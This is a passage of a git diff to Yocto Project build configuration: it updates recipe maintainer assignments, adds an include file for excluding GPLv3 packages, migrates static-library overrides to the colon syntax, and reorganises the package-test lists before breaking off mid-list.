+RECIPE_MAINTAINER:pn-python3-sortedcontainers = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-spdx-tools = "Marta Rybczynska <mrybczynska@syslinbit.com>"
+RECIPE_MAINTAINER:pn-python3-sphinx = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-applehelp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-devhelp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-htmlhelp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-jsmath = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-jquery = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-qthelp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinxcontrib-serializinghtml = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-sphinx-rtd-theme = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-subunit = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-python3-testtools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-python3-toml = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-tomli = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-trove-classifiers = "Trevor Gamblin <tgamblin@baylibre.com>"
+RECIPE_MAINTAINER:pn-python3-typing-extensions = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-typogrify = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-unittest-automake-output = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-uritools = "Marta Rybczynska <mrybczynska@syslinbit.com>"
+RECIPE_MAINTAINER:pn-python3-urllib3 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-vcversioner = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-wcwidth = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-webcolors = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-websockets = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-wheel = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-xmltodict = "Leon Anavi <leon.anavi@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-yamllint = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-zipp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-re2c = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-repo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-rgb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-rpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ruby = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-run-postinsts = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-rust = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-llvm = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rxvt-unicode = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-sato-screenshot = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sato-icon-theme = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-sbc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-seatd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shaderc = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-speex = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-speexdsp = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-spirv-headers = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-spirv-tools = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ssh-pregen-hostkeys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-boot-native = "Viswanath Kraleti <quic_vkraleti@quicinc.com>"
+RECIPE_MAINTAINER:pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-machine-units = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemtap = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-systemtap-native = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sysvinit-inittab = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-target-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-time = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-ttyrun = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-tzcode-native = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-tzdata = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-udev-extraconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unfs3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unifdef = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-unzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-update-rc.d = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-linux-libuuid = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-macros = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-utfcpp = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vim = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-samples = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-utility-libraries = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-validation-layers = "Vincent Davis Jr <vince@underview.tech>"
+RECIPE_MAINTAINER:pn-vulkan-volk = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-waffle = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-wayland = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-protocols = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-weston = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-weston-init = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wireless-regdb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-wpebackend-fdo = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-x11perf = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xauth = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-proto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-cursor = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-image = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-keysyms = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-renderutil = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-wm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcursor-transparent-theme = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xdpyinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xeyes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-evdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-libinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-mouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-synaptics = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-vmmouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-cirrus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-fbdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-intel = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vesa = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vmware = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xhost = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinetd = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-xinit = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput-calibrator = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkbcomp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkeyboard-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-xmodmap = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorg-minimal-fonts = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorgproto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xprop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrestop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-nodm-init = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xf86-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xorg = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xset = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xtrans = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xuser-account = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xvinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwayland = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwininfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xxhash = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-xz = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zlib = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zstd = "Alexander Kanavin <alex.kanavin@gmail.com>"
diff --git a/meta/conf/distro/include/no-gplv3.inc b/meta/conf/distro/include/no-gplv3.inc
new file mode 100644
index 0000000000..b3eb936d94
--- /dev/null
+++ b/meta/conf/distro/include/no-gplv3.inc
@@ -0,0 +1,30 @@
+#
+# This include file is to document commonly used configuration options to minimise
+# GPLv3 content in images.
+#
+# The intent is to allow some images/configurations to build, not everything. There
+# will be a cost in reduced functionality.
+
+# Settings for full-cmdline
+RDEPENDS:packagegroup-core-full-cmdline-utils:remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-shell mc-helpers mc-helpers-perl sed tar time"
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils:remove = "diffutils m4 make patch"
+RDEPENDS:packagegroup-core-full-cmdline-multiuser:remove = "gzip"
+
+# Settings for weston
+# direct gpl3 dependencies
+RRECOMMENDS:packagegroup-base-vfat:remove = "dosfstools"
+PACKAGECONFIG:remove:pn-bluez5 = "readline"
+
+# dnf pulls in gpg which is gpl3; it also pulls in python3-rpm which pulls in rpm-build which pulls in bash
+# so install rpm but not dnf
+IMAGE_FEATURES:remove:pn-core-image-weston = "package-management"
+CORE_IMAGE_EXTRA_INSTALL:pn-core-image-weston += "rpm"
+IMAGE_FEATURES:remove:pn-core-image-full-cmdline = "package-management"
+CORE_IMAGE_EXTRA_INSTALL:pn-core-image-full-cmdline += "rpm"
+
+# matchbox-terminal depends on vte, which is gpl3
+CORE_IMAGE_BASE_INSTALL:remove:pn-core-image-weston = "matchbox-terminal"
+
+# Some python-tests use bash outside of ptest
+RDEPENDS:${PN}-tests:remove:class-target:pn-python3 = "${MLPREFIX}bash"
+INSANE_SKIP:${PN}-tests:pn-python3 = "file-rdeps"
diff --git a/meta/conf/distro/include/no-static-libs.inc b/meta/conf/distro/include/no-static-libs.inc
index a3a865cac4..75359928a1 100644
--- a/meta/conf/distro/include/no-static-libs.inc
+++ b/meta/conf/distro/include/no-static-libs.inc
@@ -1,37 +1,32 @@
DISABLE_STATIC ?= " --disable-static"
# qemu aborts on unrecognised option
-DISABLE_STATIC_pn-qemu = ""
-DISABLE_STATIC_pn-qemu-native = ""
-DISABLE_STATIC_pn-nativesdk-qemu = ""
-DISABLE_STATIC_pn-qemu-system-native = ""
-# pciutils fails build
-DISABLE_STATIC_pn-pciutils = ""
-# libcap aborts on unrecognised option
-DISABLE_STATIC_pn-libcap = ""
-DISABLE_STATIC_pn-libcap-native = ""
-DISABLE_STATIC_pn-nativesdk-libcap = ""
-# libpcap aborts on unrecognised option
-DISABLE_STATIC_pn-libpcap = ""
+DISABLE_STATIC:pn-qemu = ""
+DISABLE_STATIC:pn-qemu-native = ""
+DISABLE_STATIC:pn-nativesdk-qemu = ""
+DISABLE_STATIC:pn-qemu-system-native = ""
# needed by gdb
-DISABLE_STATIC_pn-readline = ""
+DISABLE_STATIC:pn-readline = ""
# openjade/sgml-common have build issues without static libs
-DISABLE_STATIC_pn-sgml-common-native = ""
-DISABLE_STATIC_pn-openjade-native = ""
+DISABLE_STATIC:pn-sgml-common-native = ""
+DISABLE_STATIC:pn-openjade-native = ""
# openssl has build issues without static libs
-DISABLE_STATIC_pn-openssl = ""
-DISABLE_STATIC_pn-openssl-native = ""
-DISABLE_STATIC_pn-nativesdk-openssl = ""
+DISABLE_STATIC:pn-openssl = ""
+DISABLE_STATIC:pn-openssl-native = ""
+DISABLE_STATIC:pn-nativesdk-openssl = ""
# libssp-static-dev included in build-appliance
-DISABLE_STATIC_pn-gcc-runtime = ""
+DISABLE_STATIC:pn-gcc-runtime = ""
# libusb1-native is used to build static dfu-util-native
-DISABLE_STATIC_pn-libusb1-native = ""
+DISABLE_STATIC:pn-libusb1-native = ""
+# needed by rust
+DISABLE_STATIC:pn-musl = ""
-EXTRA_OECONF_append = "${DISABLE_STATIC}"
+EXTRA_OECONF:append = "${DISABLE_STATIC}"
-EXTRA_OECMAKE_append_pn-libical = " -DSHARED_ONLY=True"
-EXTRA_OECMAKE_append_pn-libjpeg-turbo = " -DENABLE_STATIC=False"
+EXTRA_OECMAKE:append:pn-libical = " -DSHARED_ONLY=True"
+EXTRA_OECMAKE:append:pn-libjpeg-turbo = " -DENABLE_STATIC=False"
+EXTRA_OECMAKE:append:pn-libjpeg-turbo-native = " -DENABLE_STATIC=False"
-EXCONFIG_ARGS_append_pn-ncurses = " --without-normal"
-EXCONFIG_ARGS_append_pn-ncurses-native = " --without-normal"
-EXCONFIG_ARGS_append_pn-nativesdk-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses-native = " --without-normal"
+EXCONFIG_ARGS:append:pn-nativesdk-ncurses = " --without-normal"
diff --git a/meta/conf/distro/include/ptest-packagelists.inc b/meta/conf/distro/include/ptest-packagelists.inc
index ce13368c2e..5975db25cc 100644
--- a/meta/conf/distro/include/ptest-packagelists.inc
+++ b/meta/conf/distro/include/ptest-packagelists.inc
@@ -4,84 +4,152 @@
# ptests which take less than ~30s each
#
PTESTS_FAST = "\
- acl-ptest \
- apr-ptest \
- apr-util-ptest \
- attr-ptest \
- bluez5-ptest \
- bzip2-ptest \
- diffstat-ptest \
- diffutils-ptest \
- elfutils-ptest \
- ethtool-ptest \
- flex-ptest \
- gawk-ptest \
- gdbm-ptest \
- gdk-pixbuf-ptest \
- gettext-ptest \
- gzip-ptest \
- json-glib-ptest \
- libconvert-asn1-perl-ptest \
- liberror-perl-ptest \
- libmodule-build-perl-ptest \
- libpcre-ptest \
- libtimedate-perl-ptest \
- libtest-needs-perl-ptest \
- liburi-perl-ptest \
- libusb1-ptest \
- libxml-namespacesupport-perl-ptest \
- libxml-perl-ptest \
- libxml-parser-perl-ptest \
- libxml-sax-perl-ptest \
- libxml-sax-base-perl-ptest \
- libxml-simple-perl-ptest \
- libxml2-ptest \
- lzo-ptest \
- m4-ptest \
- nettle-ptest \
- openssl-ptest \
- opkg-ptest \
- pango-ptest \
- parted-ptest \
- qemu-ptest \
- quilt-ptest \
- sed-ptest \
- slang-ptest \
- wayland-ptest \
- zlib-ptest \
+ acl \
+ apr-util \
+ attr \
+ babeltrace \
+ babeltrace2 \
+ bc \
+ bluez5 \
+ busybox \
+ cpio \
+ diffstat \
+ diffutils \
+ ethtool \
+ expat \
+ expect \
+ findutils \
+ flex \
+ gawk \
+ gdbm \
+ gdk-pixbuf \
+ glib-networking \
+ gzip \
+ json-c \
+ json-glib \
+ libconvert-asn1-perl \
+ libgpg-error\
+ libnl \
+ libpcre \
+ libssh2 \
+ libtimedate-perl \
+ libtest-fatal-perl \
+ libtest-needs-perl \
+ libtest-warnings-perl \
+ libtry-tiny-perl \
+ liburi-perl \
+ libusb1 \
+ libxml-namespacesupport-perl \
+ libxml-perl \
+ libxml-parser-perl \
+ libxml-sax-perl \
+ libxml-sax-base-perl \
+ libxml-simple-perl \
+ libxml2 \
+ libxmlb \
+ logrotate \
+ lua \
+ lzo \
+ m4 \
+ nettle \
+ opkg \
+ pango \
+ popt \
+ python3-atomicwrites \
+ python3-attrs \
+ python3-bcrypt \
+ python3-calver \
+ python3-hypothesis \
+ python3-jinja2 \
+ python3-jsonpointer \
+ python3-license-expression \
+ python3-markupsafe \
+ python3-more-itertools \
+ python3-pluggy \
+ python3-pyasn1 \
+ python3-pytz \
+ python3-pyyaml \
+ python3-trove-classifiers \
+ python3-wcwidth \
+ python3-webcolors \
+ qemu \
+ quilt \
+ sed \
+ slang \
+ wayland \
+ xz \
+ zlib \
+ libexif \
"
-PTESTS_FAST_remove_mips64 = "qemu-ptest"
-
-#PTESTS_PROBLEMS = "\
-# ruby-ptest \ # Timeout
-# clutter-1.0-ptest \ # Doesn't build due to depends on cogl-1.0
-# lz4-ptest \ # Needs a rewrite
-# rt-tests-ptest \ # Needs to be checked whether it runs at all
-# bash-ptest \ # Test outcomes are non-deterministic by design
-# ifupdown-ptest \ # Tested separately in lib/oeqa/selftest/cases/imagefeatures.py
-# mdadm-ptest \ # Tests rely on non-deterministic sleep() amounts
-#"
+PTESTS_FAST:append:libc-glibc = " glibc-y2038-tests"
+PTESTS_PROBLEMS:remove:libc-glibc = "glibc-y2038-tests"
+PTESTS_FAST:remove:mips64 = "qemu"
+PTESTS_PROBLEMS:append:mips64 = " qemu"
+PTESTS_FAST:remove:riscv32 = "qemu"
+PTESTS_PROBLEMS:append:riscv32 = " qemu"
PTESTS_SLOW = "\
- babeltrace-ptest \
- babeltrace2-ptest \
- busybox-ptest \
- coreutils-ptest \
- dbus-test-ptest \
- e2fsprogs-ptest \
- glib-2.0-ptest \
- gstreamer1.0-ptest \
- libevent-ptest \
- libinput-ptest \
